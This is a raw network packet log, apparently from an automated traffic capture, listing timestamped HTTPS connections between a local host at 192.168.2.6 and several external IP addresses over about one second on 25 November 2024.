Nov 25, 2024 05:46:29.415142059 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.415235996 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:29.415246964 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.425271034 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.425358057 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:29.425365925 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.435451984 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.435604095 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:29.435620070 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.445528030 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.445616007 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:29.445624113 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.449753046 CET	443	49763	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:29.449826002 CET	443	49763	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:29.449975967 CET	49763	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:29.450028896 CET	49763	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:29.450028896 CET	49763	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:29.450059891 CET	443	49763	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:29.450088978 CET	443	49763	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:29.452752113 CET	49772	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:29.452800989 CET	443	49772	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:29.452872992 CET	49772	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:29.452996016 CET	49772	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:29.453013897 CET	443	49772	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:29.455576897 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.455678940 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:29.455686092 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.465065956 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.465122938 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:29.465128899 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.465173960 CET	443	49764	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:29.465236902 CET	443	49764	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:29.465409994 CET	49764	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:29.465536118 CET	49764	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:29.465536118 CET	49764	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:29.465559006 CET	443	49764	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:29.465573072 CET	443	49764	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:29.468074083 CET	49773	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:29.468115091 CET	443	49773	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:29.468175888 CET	49773	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:29.468313932 CET	49773	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:29.468338013 CET	443	49773	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:29.474487066 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.474574089 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:29.474581957 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.483856916 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.484018087 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:29.484025002 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.492943048 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.493055105 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:29.493062019 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.501487970 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.501610994 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:29.501626015 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.510119915 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.510163069 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:29.510178089 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.518747091 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.518810987 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:29.518817902 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.525207043 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.525264978 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:29.525270939 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.530081987 CET	443	49766	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:29.530128002 CET	443	49766	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:29.530334949 CET	49766	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:29.530364037 CET	49766	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:29.530375004 CET	443	49766	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:29.530395031 CET	49766	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:29.530401945 CET	443	49766	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:29.531650066 CET	443	49765	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:29.531708002 CET	443	49765	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:29.531820059 CET	49765	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:29.531946898 CET	49765	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:29.531955004 CET	443	49765	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:29.531965017 CET	49765	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:29.531970024 CET	443	49765	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:29.533174992 CET	49774	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:29.533196926 CET	443	49774	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:29.533328056 CET	49774	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:29.533516884 CET	49774	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:29.533529997 CET	443	49774	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:29.534476042 CET	49775	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:29.534501076 CET	443	49775	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:29.534665108 CET	49775	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:29.534734964 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.534868956 CET	49775	443	192.168.2.6	13.107.246.63
Nov 25, 2024 05:46:29.534884930 CET	443	49775	13.107.246.63	192.168.2.6
Nov 25, 2024 05:46:29.534966946 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:29.534982920 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.536776066 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.536854029 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:29.536861897 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.541582108 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.541647911 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:29.541656017 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.548959970 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.549024105 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:29.549031019 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.551783085 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.551825047 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:29.551831007 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.558604956 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.558672905 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:29.558681011 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.562524080 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.562633038 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:29.562642097 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.567852020 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.567925930 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:29.567934990 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.573149920 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.573261023 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:29.573267937 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.573586941 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:29.573637962 CET	443	49759	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:29.573838949 CET	49759	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:29.585352898 CET	49776	443	192.168.2.6	4.175.87.197
Nov 25, 2024 05:46:29.585395098 CET	443	49776	4.175.87.197	192.168.2.6
Nov 25, 2024 05:46:29.585705996 CET	49776	443	192.168.2.6	4.175.87.197
Nov 25, 2024 05:46:29.587552071 CET	49776	443	192.168.2.6	4.175.87.197
Nov 25, 2024 05:46:29.587579966 CET	443	49776	4.175.87.197	192.168.2.6
Nov 25, 2024 05:46:29.698277950 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:29.698307037 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:29.698323011 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:29.698357105 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:29.698385954 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:29.698405027 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:29.698436022 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:29.720082998 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:29.720159054 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:29.720165014 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:29.720205069 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:29.720226049 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:29.720251083 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:29.720266104 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:29.720283031 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:29.720321894 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:29.720345020 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:29.827802896 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:29.827840090 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:29.827862024 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:29.827888012 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:29.827919960 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:29.827934027 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:29.827996969 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:29.894123077 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:29.894148111 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:29.894208908 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:29.894243956 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:29.894260883 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:29.894284964 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:29.905983925 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:29.906033993 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:29.906076908 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:29.906088114 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:29.906126976 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:29.906148911 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:29.939182997 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:29.939201117 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:29.939265013 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:29.939285040 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:29.939326048 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:29.950750113 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:29.950797081 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:29.950850964 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:29.950858116 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:29.950895071 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:29.950910091 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.014230013 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.014260054 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.014337063 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.014347076 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.014369011 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.014400005 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.056602955 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.056633949 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.056715965 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.056734085 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.056755066 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.056873083 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.070959091 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.070981979 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.071038008 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.071077108 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.071094990 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.071240902 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.084887981 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.084933996 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.084995985 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.085005045 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.085042000 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.085061073 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.097489119 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.097511053 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.097609043 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.097645044 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.097690105 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.108964920 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.109031916 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.109066963 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.109076977 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.109131098 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.121790886 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.121813059 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.121870041 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.121901035 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.121921062 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.122030973 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.132086039 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.132132053 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.132169962 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.132177114 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.132210970 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.132236958 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.151844978 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.151890039 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.151933908 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.151940107 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.151973009 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.151988983 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.179568052 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.179589987 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.179723978 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.179758072 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.179807901 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.191714048 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.191744089 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.191819906 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.191836119 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.191869020 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.192126989 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.216654062 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.216671944 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.216782093 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.216804028 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.216938972 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.240938902 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.240971088 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.241092920 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.241092920 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.241107941 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.241261959 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.261642933 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.261663914 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.261725903 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.261738062 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.261874914 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.267868996 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.267906904 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.267936945 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.267962933 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.267986059 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.267997980 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.279616117 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.279664040 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.279686928 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.279695988 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.279738903 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.279759884 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.284351110 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.284370899 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.284411907 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.284419060 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.284450054 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.284471035 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.294806957 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.294851065 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.294872999 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.294878960 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.294918060 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.298594952 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.298616886 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.298667908 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.298677921 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.298759937 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.299069881 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.307851076 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.307903051 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.307926893 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.307933092 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.307970047 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.307985067 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.312096119 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.312118053 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.312159061 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.312184095 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.312221050 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.312266111 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.321312904 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.321369886 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.321414948 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.321420908 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.321463108 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.321475983 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.323404074 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.323425055 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.323471069 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.323486090 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.323514938 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.323553085 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.332397938 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.332462072 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.332500935 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.332508087 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.332536936 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.332554102 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.339262009 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.339281082 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.339354038 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.339361906 CET	443	49767	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.339400053 CET	49767	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.342804909 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.342822075 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.342891932 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.342899084 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.342914104 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.342947006 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.353977919 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.354026079 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.354060888 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.354068041 CET	443	49768	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.354088068 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.354125977 CET	49768	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.385201931 CET	49782	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:30.385241032 CET	443	49782	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:30.385377884 CET	49782	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:30.385719061 CET	49782	443	192.168.2.6	142.250.181.68
Nov 25, 2024 05:46:30.385732889 CET	443	49782	142.250.181.68	192.168.2.6
Nov 25, 2024 05:46:30.387571096 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.387623072 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.387640953 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.387650013 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.387681961 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.387718916 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.403601885 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.403621912 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.403659105 CET	49769	443	192.168.2.6	150.171.27.10
Nov 25, 2024 05:46:30.403672934 CET	443	49769	150.171.27.10	192.168.2.6
Nov 25, 2024 05:46:30.403707027 CET	49769	443	192.168.2.6	150.171.27.10
